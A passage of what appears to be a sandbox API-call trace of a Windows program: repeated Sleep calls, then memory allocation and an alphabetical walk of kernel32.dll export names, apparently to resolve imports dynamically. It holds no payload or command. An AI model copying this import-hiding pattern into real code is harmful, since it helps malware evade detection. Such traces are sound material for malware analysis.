(dwMilliseconds=0x3e8) [0127.483] Sleep (dwMilliseconds=0x3e8) [0128.505] Sleep (dwMilliseconds=0x3e8) [0129.581] Sleep (dwMilliseconds=0x3e8) [0130.614] Sleep (dwMilliseconds=0x3e8) [0131.846] Sleep (dwMilliseconds=0x3e8) [0132.902] Sleep (dwMilliseconds=0x3e8) [0134.677] Sleep (dwMilliseconds=0x3e8) [0135.728] Sleep (dwMilliseconds=0x3e8) [0136.783] Sleep (dwMilliseconds=0x3e8) [0138.202] Sleep (dwMilliseconds=0x3e8) [0139.248] Sleep (dwMilliseconds=0x3e8) [0140.286] Sleep (dwMilliseconds=0x3e8) [0141.306] Sleep (dwMilliseconds=0x3e8) [0142.365] Sleep (dwMilliseconds=0x3e8) [0143.399] Sleep (dwMilliseconds=0x3e8) [0144.410] Sleep (dwMilliseconds=0x3e8) [0145.419] Sleep (dwMilliseconds=0x3e8) [0146.578] Sleep (dwMilliseconds=0x3e8) [0147.689] Sleep (dwMilliseconds=0x3e8) [0148.774] Sleep (dwMilliseconds=0x3e8) [0149.827] Sleep (dwMilliseconds=0x3e8) [0150.838] Sleep (dwMilliseconds=0x3e8) [0151.848] Sleep (dwMilliseconds=0x3e8) [0152.861] Sleep (dwMilliseconds=0x3e8) [0153.890] Sleep (dwMilliseconds=0x3e8) [0154.904] Sleep (dwMilliseconds=0x3e8) Thread: id = 141 os_tid = 0xa6c [0083.724] VirtualAlloc (lpAddress=0x0, dwSize=0xdd, flAllocationType=0x3000, flProtect=0x4) returned 0x2fe0000 [0083.725] GetTickCount () returned 0x2a936 [0083.725] VirtualAlloc (lpAddress=0x0, dwSize=0xb, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0083.725] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0083.725] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000 [0083.726] GetTickCount () returned 0x2a936 [0083.726] GetTickCount () returned 0x2a936 [0083.726] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000 [0083.726] lstrlenA (lpString="kernel32.dll") returned 12 [0083.726] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.726] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0083.726] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0083.726] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0083.726] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0083.726] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0083.726] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0083.726] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0083.726] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0083.727] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0083.727] lstrlenA (lpString="ADDATOMA") returned 8 [0083.727] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0083.727] lstrlenA (lpString="ADDATOMW") returned 8 [0083.727] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0083.727] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0083.727] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0083.727] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0083.727] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0083.727] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0083.727] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0083.727] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0083.727] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0083.727] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0083.727] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0083.727] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0083.727] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0083.727] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0083.727] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0083.727] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0083.727] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0083.727] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0083.727] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0083.727] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0083.727] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0083.727] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0083.727] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0083.727] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0083.727] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0083.728] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0083.728] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0083.728] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0083.728] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0083.728] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0083.728] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0083.728] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0083.728] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0083.728] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0083.728] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0083.728] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0083.728] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0083.728] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0083.728] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0083.728] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0083.728] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0083.728] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0083.728] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0083.728] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0083.728] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0083.728] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0083.728] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0083.728] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0083.728] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0083.728] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0083.728] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0083.728] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0083.728] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0083.728] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0083.728] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0083.729] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0083.729] lstrcpyA (in: lpString1=0x2e7f188, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0083.729] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0083.729] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0083.729] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0083.729] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0083.729] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0083.729] lstrcpyA (in: lpString1=0x2e7f188, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0083.729] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0083.729] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0083.729] lstrlenA (lpString="BACKUPREAD") returned 10 [0083.729] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0083.729] lstrlenA (lpString="BACKUPSEEK") returned 10 [0083.729] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0083.729] lstrlenA (lpString="BACKUPWRITE") returned 11 [0083.729] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0083.729] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0083.729] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0083.729] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0083.729] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0083.729] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0083.729] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0083.729] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0083.729] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0083.729] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0083.729] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0083.729] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0083.729] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0083.729] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0083.729] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0083.730] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0083.730] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0083.730] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0083.730] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0083.730] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0083.730] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0083.730] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0083.730] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0083.730] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0083.730] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0083.730] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0083.730] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0083.730] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0083.730] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0083.730] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0083.730] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0083.730] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0083.730] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0083.730] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0083.730] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0083.730] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0083.730] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0083.730] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0083.730] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0083.730] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0083.730] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0083.730] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0083.730] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0083.730] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0083.730] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0083.730] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0083.731] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0083.731] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0083.731] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0083.731] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0083.731] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0083.731] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0083.731] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0083.731] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0083.731] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0083.731] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0083.731] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0083.731] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0083.731] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0083.731] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0083.731] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0083.731] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0083.731] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0083.731] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0083.731] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0083.731] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0083.731] lstrcpyA (in: lpString1=0x2e7f188, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0083.731] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0083.731] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0083.731] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0083.731] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0083.731] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0083.731] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0083.731] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0083.731] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0083.731] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0083.731] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0083.732] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0083.732] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0083.732] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0083.732] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0083.732] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0083.732] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0083.732] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0083.732] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0083.732] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0083.732] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0083.732] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0083.732] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0083.732] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0083.732] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0083.732] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0083.732] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0083.732] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0083.732] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0083.732] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0083.732] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0083.732] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0083.732] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0083.732] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0083.732] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0083.732] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0083.732] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0083.732] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0083.732] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0083.732] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0083.732] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0083.732] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0083.733] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0083.733] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0083.733] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0083.733] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0083.733] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0083.733] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0083.733] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0083.733] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0083.733] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0083.733] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0083.733] lstrcpyA (in: lpString1=0x2e7f188, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0083.733] lstrlenA (lpString="BEEP") returned 4 [0083.733] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0083.733] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0083.733] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0083.733] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0083.733] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0083.733] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0083.733] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0083.733] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0083.733] lstrcpyA (in: lpString1=0x2e7f188, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0083.733] lstrlenA 